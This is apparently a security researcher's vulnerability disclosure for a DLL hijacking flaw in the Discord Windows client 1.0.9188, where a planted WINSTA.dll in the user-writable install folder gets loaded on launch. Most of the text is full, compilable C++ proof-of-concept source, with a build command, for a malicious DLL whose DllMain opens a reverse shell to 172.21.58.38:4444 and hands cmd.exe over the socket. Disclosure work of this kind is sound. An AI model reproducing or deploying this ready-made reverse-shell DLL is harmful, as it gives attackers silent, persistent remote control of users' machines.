A critical DLL hijacking vulnerability exists in Discord version 1.0.9188
(Windows client) that allows an attacker to achieve Remote Code Execution (RCE) by placing a malicious DLL (WINSTA.dll
) in the user-writable Discord installation directory.
This issue is trivially exploitable and poses a significant security risk, especially in environments where Discord is installed for multiple users or auto-launches at system startup.
C:\Users\<username>\AppData\Local\Discord\app-1.0.9188\WINSTA.dll
- Discord attempts to load
WINSTA.dll
on launch. - If the DLL is missing, it is searched for in the local directory first.
- Since this folder is user-writable, an attacker can drop a malicious DLL here.
A custom WINSTA.dll
was created to launch a reverse shell on Discord startup. The application loaded the DLL successfully and continued to function as normal — proving the hijack worked and that the injection was silent.
The following code executes a reverse shell connecting back to the attacker’s IP (172.21.58.38:4444
) and spawns a cmd.exe
process redirected over the socket.
Click to view full PoC source
// x86_64-w64-mingw32-g++ -shared -o patchpoc.dll patchpoc.cpp -lws2_32 -static
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
DWORD WINAPI ReverseShell(LPVOID lpParam) {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Change IP and port
const char *ip = "172.21.58.38";
int port = 4444;
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip);
if (WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(sock);
WSACleanup();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
}
return TRUE;
}
- Remote Code Execution without user interaction
- Persistence via application launch
- No elevation required — works in standard user context
- Bypass of DLL loading best practices (no
LOAD_LIBRARY_SEARCH_SYSTEM32
)
discord.mp4